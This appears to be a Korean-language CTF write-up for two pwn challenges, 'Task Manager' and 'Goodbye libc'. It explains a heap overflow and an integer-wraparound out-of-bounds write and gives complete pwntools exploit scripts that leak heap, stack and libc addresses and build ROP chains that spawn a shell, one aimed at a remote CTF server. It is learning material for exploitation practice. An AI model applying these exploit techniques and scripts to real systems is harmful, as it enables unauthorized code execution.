Task Manager

취약점 분석

1. Heap Buffer Overflow in create_tasks()

read(0, temp->task, 88);  // task 필드는 80바이트인데 88바이트 읽음

Tasks 구조체는 task[80] + next*(8바이트) 로 구성되어 있어, 88바이트를 읽으면 next 포인터를 8바이트 덮어쓸 수 있다.

typedef struct Tasks {
  char task[80];
  struct Tasks* next;  // ← 이 포인터를 overflow로 덮어씀
} Tasks;

2. 정보 유출 흐름

next 포인터를 원하는 주소로 덮고, 다음 태스크 생성 시 temp->task로 해당 주소의 내용을 출력 → 임의 주소 읽기 (AAR)

Exploit 과정

Step 1: Heap Leak

  • 태스크 1개 생성 후 80바이트 출력 → 힙 포인터 노출
  • heap_base = leak - 0x360

Step 2: Stack Leak

  • next 포인터를 chunk_0 (힙 내 TaskHead 구조체 위치)로 덮음
  • TaskHead->head는 tasks 변수의 스택 주소 → 스택 주소 유출

Step 3: Libc Leak

  • next 포인터를 main_ret_addr (stack + 0xb0)로 덮음
  • main()의 리턴 주소 = libc 내부 주소 → libc base 계산

Step 4: ROP으로 쉘 획득

  • next 포인터를 read() 리턴 주소 (stack - 0x10)로 덮음

  • ROP 페이로드 작성:

    ret                        ← 스택 정렬
    pop rdi ; ret
    /bin/sh 주소 (libc)
    system() 주소 (libc)
    
  • create_tasks()의 read() 리턴 시 페이로드 실행 → 쉘 획득

Exploit Code

#!/usr/bin/env python3
 
from pwn import *
 
exe = ELF("task-manager_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
 
context.binary = exe
context.log_level = 'info'
 
def conn():
    r = process([exe.path])
    return r
 
def debug():
    gdb.attach(r, gdbscript='''
    b malloc
    b free
    c
    ''')
    pause()
 
def cre_task(task):
    r.sendlineafter(b'input: ', b'1')
    r.sendafter(b': ', task)
 
def pri_task():
    r.sendlineafter(b'input: ', b'2')
    r.recvuntil(b'order:\n\n')
    data = r.recvuntil(b'\n\n').strip()
    # log.info(f'data: {data}')
    return data
 
def main():
    name = b'F'*40
    r.sendafter(b': ', name)
    
    # leak heap
    cre_task(b'A'*80)
    
    data = u64(pri_task()[0x59:0x5f].ljust(8, b'\x00'))
    heap_base = data - 0x360
    log.success(f'heap base: {hex(heap_base)}')
    
    # leak stack
    chunk_0 = heap_base+0x2a0
    log.success(f'chunk 0: {hex(chunk_0)}')    
    cre_task(b'B'*80 + p64(chunk_0)) # overwrite next pointer to chunk_0
    cre_task(b'C'*8)
    r.recvuntil(b'entered: '+b'C'*8)
    stack = u64(r.recv(6).ljust(8, b'\x00'))
    log.success(f'stack leak: {hex(stack)}')
    
    # leak libc
    main_ret_addr = stack + 0xb0
    log.info(f'main function return address: {hex(main_ret_addr)}')
    cre_task(b'D'*80 + p64(main_ret_addr)) # overwrite next pointer to main_ret_addr
    cre_task(b'\x4a')
    r.recvuntil(b'entered: ')
    libc_leak = u64(r.recv(6).ljust(8, b'\x00'))
    log.info(f'libc leak: {hex(libc_leak)}')
    # libc.address = libc_leak - 0x124a
    libc.address = libc_leak -0x2724a
    log.success(f'libc base: {hex(libc.address)}')
 
    # overwrite read return address with rop payload
    pop_rdi_ret = libc.address + 0x00000000000277e5
    ret = pop_rdi_ret + 1
    binsh = libc.address + 0x197031
    system = libc.sym.system
    payload = flat(
        ret,
        pop_rdi_ret,
        binsh,
        system
    )
    read_ret_addr = stack - 0x10
    log.info(f'read() return address: {hex(read_ret_addr)}')
    cre_task(b'E'*80 + p64(read_ret_addr)) # overwrite next pointer to read_ret_addr
    # debug()
    cre_task(payload)    
 
    # good luck pwning :)
    r.interactive()
 
if __name__ == "__main__":
    r = conn()
    main()

Goodbye libc

취약점 분석

정수 오버플로우 in input_index()

input_index()는 입력값을 int choice에 받아 아래와 같이 검사한다.

if (choice <= 3 && choice >= -2) {
    return choice - 1;
}

32비트 int의 wrap-around 특성 때문에, 충분히 큰 십진수를 입력하면 실질적으로 음수 인덱스가 된다.

입력값실제 인덱스
10
21
32
0-1
4294967295-2
4294967294-3

WRITE_NUM 음수 인덱스 검증 미흡

WRITE_NUM 분기는 index == -1 같은 별도의 경계 검사 없이 곧바로 write_num(&nums[index])를 호출한다.

case WRITE_NUM:
    print("Select index to write to [1-3]: ");
    index = input_index();
    write_num(&nums[index]);
    break;

따라서 nums[-1], nums[-2], nums[-3]에 임의 값을 쓸 수 있다.

nums의 스택 레이아웃

초기 leak으로 얻는 stk_startrbp 값이다. 이를 기준으로 nums의 위치를 정리하면 다음과 같다.

nums[0]  = stk - 0x38
nums[1]  = stk - 0x30
nums[2]  = stk - 0x28
nums[-1] = stk - 0x40
nums[-2] = stk - 0x48   ← 코드 주소 (PIE leak)
nums[-3] = stk - 0x50   ← saved rbp (stack leak)

음수 인덱스가 리턴 주소, saved rbp, 그리고 다음 stage용 스택 슬롯과 겹친다는 것이 이후 단계의 핵심이다.

Exploit 과정

Step 1: PIE base & stack leak

leak  = pri(2**32 - 1)      # nums[-2] → 코드 영역 주소
exe.address = leak - 0x1CBD # PIE base 계산
 
stack = pri(2**32 - 2)      # nums[-3] → _start의 rbp

두 번의 OOB read만으로 PIE base와 stack 주소를 모두 확보한다.

Step 2: exit@got leak & libbye-libc.so base 계산

write_num()의 리턴 주소를 input_num+8(아래 read() 직전 코드)로 덮어, 함수가 반환될 때 루프로 복귀하는 대신 read() 코드로 진입하게 만든다.

; input_num+8 (READ_CODE)
0x12a6: lea rax, [rbp-0x4c]
0x12aa: mov edx, 0x40
0x12af: mov rsi, rax
0x12b2: mov edi, 0
0x12b7: call read@plt

여기서 버퍼 시작 주소는 [rbp-0x4c]이고, call read가 push하는 복귀 주소는 [rbp-0x48]에 놓인다. 즉 버퍼와 read()의 리턴 주소가 8바이트만큼 겹친다.

따라서 우리가 보내는 64바이트 payload는 버퍼 데이터이면서 동시에 read() 이후 실행될 ROP 체인이기도 하다.

Phase 1 payload

READ_CODE = exe.address + 0x12a6
 
rop  = b'\x00' * 4
rop += p64(exe.address + 0x1440)   # pop rbp ; ret
rop += p64(stack - 0x28)           # 새 rbp
rop += p64(exe.address + 0x1330)   # mov rax, [rbp-8] ; jmp leave;ret
rop += p64(exe.got.exit)           # [stack-0x30]에 위치할 값
rop += p64(stack)                  # leave가 복구할 rbp
rop += p64(exe.address + 0x1cd3)   # mov rsi,rax ; mov edi,1 ; call write@plt

실행 순서를 따라가면 다음과 같다.

  1. wri(-2, READ_CODE)write_num()의 리턴 주소를 READ_CODE로 교체
  2. 다음 read()가 payload를 수신하면서 자신의 복귀 주소를 pop rbp ; ret으로 덮음
  3. pop rbp ; retrbp = stack-0x28
  4. mov rax, [rbp-8]rax = [stack-0x30] = exit@got
  5. leave ; retrbp = stack
  6. 0x1cd3 진입 → rsi = rax, edi = 1, edx = 64
  7. 결과적으로 write(1, exit@got, 64) 실행

스크립트에서는 leak된 앞 6바이트를 파싱해 libbye-libc.so base를 계산한다.

leak = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym.exit

Step 3: index 3 trick으로 rbp 재정렬

Phase 1이 끝난 직후, 최종 payload를 보내기 전에 한 가지 준비가 필요하다.

wri(3, stack + 0x28)

이 쓰기 동작은 현재 write_num() 호출이 끝날 때 saved rbpstack+0x28이 되도록 설정한다. 이후 호출에서 필요한 스택 슬롯들이 원하는 위치에 오게 되고, nums[-2]로 실제 리턴 슬롯을 다시 덮을 수 있게 된다.

Step 4: pop_rdx → READ_CODE` 체인 구성

주변 슬롯을 미리 채운다.

wri(0, 0)          # pop_rdx가 소비할 값
wri(1, input_num)  # 다음 ret의 목적지 = READ_CODE
wri(2, 2)          # dummy

그리고 현재 write_num()의 리턴 주소를 pop_rdx로 덮는다.

wri(2**32-1, pop_rdx)

함수 반환 이후의 흐름은 다음과 같다.

ret → pop_rdx → ret → READ_CODE

왜 바로 READ_CODE로 가지 않는가?
직접 진입하면 마지막 read()가 복귀할 때 필요한 두 슬롯(saved rbp와 return address) 중 하나가 버퍼 바깥에 위치해 체인이 불안정해진다. pop_rdx ; ret을 한 번 거치면 rsp가 0x10바이트 앞으로 진행된 상태로 READ_CODE에 진입하게 된다. 그 결과 마지막 read()가 끝난 뒤 사용할 두 슬롯이 모두 버퍼 안으로 들어오고, 최종 payload가 둘 다 덮을 수 있다.

즉 여기서 pop_rdxrdx 값 설정보다 스택 정렬용 가젯으로서의 역할이 더 크다.

Step 5: 59바이트 최종 payload

binsh = stack - 0x24
 
rop  = b'/bin/sh\x00'
rop += b'EEEEEEEEFFFF'
rop += p64(pop_rdi_rsi_rdx)
rop += p64(binsh)
rop += p64(0)
rop += p64(0)
rop += p64(syscall)[0:7]

/bin/sh\x00 문자열은 마지막 read()의 버퍼 시작 위치, 즉 stack-0x24에 착지한다.

왜 payload를 정확히 59바이트로 맞추는가?
이 바이너리에는 pop rax ; ret 같은 편한 가젯이 없다. 대신 read()는 실제로 읽은 바이트 수를 rax에 반환한다. Linux x86-64에서 execve의 syscall 번호가 59이므로, payload 길이를 정확히 59바이트로 맞추면 rax = 59가 자연스럽게 세팅된다.

syscall 주소를 7바이트만 쓰는가?
payload 길이를 59바이트로 유지하기 위해 마지막 1바이트를 제거한다.

rop += p64(syscall)[0:7]

최종 레지스터 상태는 다음과 같다.

레지스터
rax59 (execve syscall 번호)
rdi/bin/sh 문자열 주소
rsi0
rdx0

Exploit Code

#!/usr/bin/env python3
 
import re
 
from pwn import *
 
exe = ELF("./goodbye-libc_patched")
libc = ELF("./libbye-libc.so")
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
 
context.binary = exe
context.log_level = 'info'
 
def conn():
    if args.LOCAL:
        r = process([exe.path])
        return r
    return remote("streams.tamuctf.com", 443, ssl=True, sni="goodbye-libc")
 
def wri(index, value):
    r.sendlineafter(b'Enter input: ', b"1")
    r.sendlineafter(b'Select index to write to [1-3]: ', str(index).encode())
    r.sendlineafter(b'Select value to write: ', str(value).encode())
 
def pri(index):
    r.sendlineafter(b'Enter input: ', b"6")
    r.sendlineafter(b'Select index to read from [1-3]: ', str(index).encode())
    r.recvuntil(b"Value written: ")
    return int(r.recvline().strip())
 
def debug():
    gdb.attach(r, """
        b *input_num+8
        b *input_num+25
        c
    """)
    pause()
 
def main():
    wri(1, 1)
    wri(2, 2)
    wri(3, 3)
 
    # leak pie base address
    leak = pri(2**32-1)
    exe.address = leak - 0x1CBD
    log.info(f"PIE base: {hex(exe.address)}")
    
    # leak stack
    stack = pri(2**32-2)
    log.info(f"stack leak: {hex(stack)}")
    stack_28 = stack - 0x28
    log.info(f"stack-0x28 address: {hex(stack_28)}")
    
    # leak libc
    input_num = exe.address + 0x12a6
    rop = b'\x00'*4
    rop += p64(exe.address + 0x1440) # pop rbp; ret
    rop += p64(stack_28) # stack-0x28 -> rbp
    rop += p64(exe.address + 0x1330) # mov rax, qword ptr [rbp - 8] ; leave ; ret
    rop += p64(exe.got.exit) # got_exit -> [rbp - 8]
    rop += p64(stack) # stack
    rop += p64(exe.address + 0x1cd3) # exe+0x1cd3 = _start+1927 = mov rsi,rax; mov edi,0x1; call write@plt
    # rop = rop.ljust(64, b'\x00')
    wri(2**32-1, input_num)
    r.send(rop)
    leak = u64(r.recv(6).ljust(8, b'\x00'))
    libc.address = leak - libc.sym.exit
    log.info(f"libc base: {hex(libc.address)}")
    
 
    # rop to execve("/bin/sh", 0, 0)
    pop_rdx = libc.address + 0x1041 # pop rdx; ret
    wri(3, stack+0x28) # revoke rbp
    wri(0, 0)
    wri(1, input_num)
    wri(2, 2)
 
    wri(2**32-1, pop_rdx)
    time.sleep(1)
    # pause()
    rop = b'/bin/sh\x00'
    rop += b'EEEEEEEEFFFF'
    # execve("/bin/sh", 0, 0)
    binsh = stack - 0x24
    pop_rdi_rsi_rdx = libc.address + 0x103f # pop rdi; pop rsi; pop rdx; ret
    syscall = libc.address + 0x1039 # syscall; ret
    log.info(f"syscall address : {hex(syscall)}")
    rop += p64(pop_rdi_rsi_rdx) # -> read function return address
    rop += p64(binsh) # "/bin/sh\x00" -> rdi
    rop += p64(0) # rsi = 0
    rop += p64(0) # rdx = 0
    rop += p64(syscall)[0:7] # syscall; ret / use only 7 bytes to make payload length 59
    
    log.info(f"len of rop payload : {len(rop)}")
    
    r.send(rop)
 
    r.interactive()
 
 
if __name__ == "__main__":
    r = conn()
    main()